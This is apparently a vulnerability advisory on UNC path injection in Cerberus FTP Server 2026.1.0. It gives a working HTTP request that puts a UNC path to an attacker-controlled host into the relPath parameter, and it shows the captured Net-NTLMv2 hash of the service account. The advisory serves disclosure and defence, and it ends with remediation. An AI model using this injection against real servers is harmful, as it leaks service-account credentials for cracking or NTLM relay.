Universal Naming Convention (UNC) Path Injection in Cerberus FTP Server

Overview

Reversec found that version 2026.1.0 of the Cerberus FTP Server software was vulnerable to authentication coercion via Universal Naming Convention (UNC) Path Injection, resulting in the leakage of authentication material associated with its configured service account.

Technical Details

Authentication coercion is a documented attack technique in which an attacker forces a Windows host to initiate an authentication attempt to an attacker controlled machine. This is achieved by supplying a UNC path to a vulnerable application, causing the underlying Windows operating system to attempt to resolve the path via the SMB protocol.

When Windows resolves a UNC path, it automatically attempts to authenticate with the target host using the credentials of the account performing the resolution. This authentication attempt can be captured by tools such as Responder, which captures the Net-NTLMv2 hash exchanged during the authentication handshake. The captured Net-NTLMv2 hash can subsequently be subjected to an offline brute-force attack (cracking) or used directly in NTLM relay attacks against other services on the network.

Cerberus FTP Server is a file transfer software that provides organisations with capabilities for securely transferring, managing, and sharing files using protocols such as FTP, FTPS and SFTP. The platform also provides a web-based client that allows external authenticated users to perform file management and transfer operations within their assigned virtual directories.

When an external user attempted to upload a file to their virtual home directory via the web-based client, the application issued a request to the /file/json/check-upload endpoint to verify whether the file already existed before proceeding with the upload. The endpoint accepted three parameters: file, cd, and relPath.

Under normal operation, the cd parameter contained the user’s URL-encoded FTP home directory value, /, restricting file resolution to the user’s designated FTP home directory, as shown in the request-response pair snippet below.

GET /file/json/check-upload?file=test8&cd=%2F&relPath= HTTP/1.1
Host: 192.168.56.14
[...SNIPPED...]

HTTP/1.1 200 Ok 
Server: CerberusFTPServer/2026 
{...SNIPPED...] 
{"file":{"allowed":true,"exists":false,"name":"test8","size":0}}

The relPath parameter was used as part of the web client’s file upload validation process; however, it did not implement appropriate input validation or sanitization, which could allow a low-privileged authenticated user to force the Cerberus FTP service account to authenticate to an attacker-controlled host. This was further enabled by the cd parameter not being restricted to the user’s existing virtual directory, allowing the user to manipulate the parameters to reference an attacker-controlled location.

When a UNC path was supplied through the relPath parameter while the cd parameter was left empty, the Cerberus FTP service processed the supplied path and performed a server-side filesystem existence check against it. This check was performed in the security context of the Cerberus FTP Windows service account, causing the server to initiate an outbound SMB authentication attempt to the attacker-controlled host. This resulted in the capture of the Net-NTLMv2 authentication material associated with the Cerberus FTP Server’s service account.

Although the UNC path injection requests were recorded in the Cerberus FTP administrative console logs, the outbound SMB authentication and credential capture may not be immediately visible to a server administrator without active log monitoring and analysis.

GET /file/json/check-upload?file=test8&cd=%2F&relPath= HTTP/1.1
Host: 192.168.56.14
Cookie: cftpSID=<valid low privileged session>

HTTP/1.1 200 Ok 
Server: CerberusFTPServer/2026 
{...SNIPPED...] 
{"file":{"allowed":true,"exists":false,"name":"test8","size":0}}

GET /file/json/check-upload?file=testUNC&cd=&relPath=\\192.168.56.15\share\ HTTP/1.1
Host: 192.168.56.14
Cookie: cftpSID=<valid low privileged session>

HTTP/1.1 200 Ok 
Server: CerberusFTPServer/2026 
{...SNIPPED...]
{"file":{"allowed":true,"exists":false,"name":"testUNC","size":0}}

[SMB] Net-NTLMv2-SSP Client   : 192.168.56.14
[SMB] Net-NTLMv2-SSP Username : WIN-ASDF\Cerberus
[SMB] Net-NTLMv2-SSP Hash     : Cerberus::WIN-ASDF:
e838a1c920b8e869:8CC32700B9BF5143928422B3B42E72A3:01010000[...SNIPPED...]

Remediation

Update the Cerberus FTP Server to the latest stable version, which addressed the identified issue.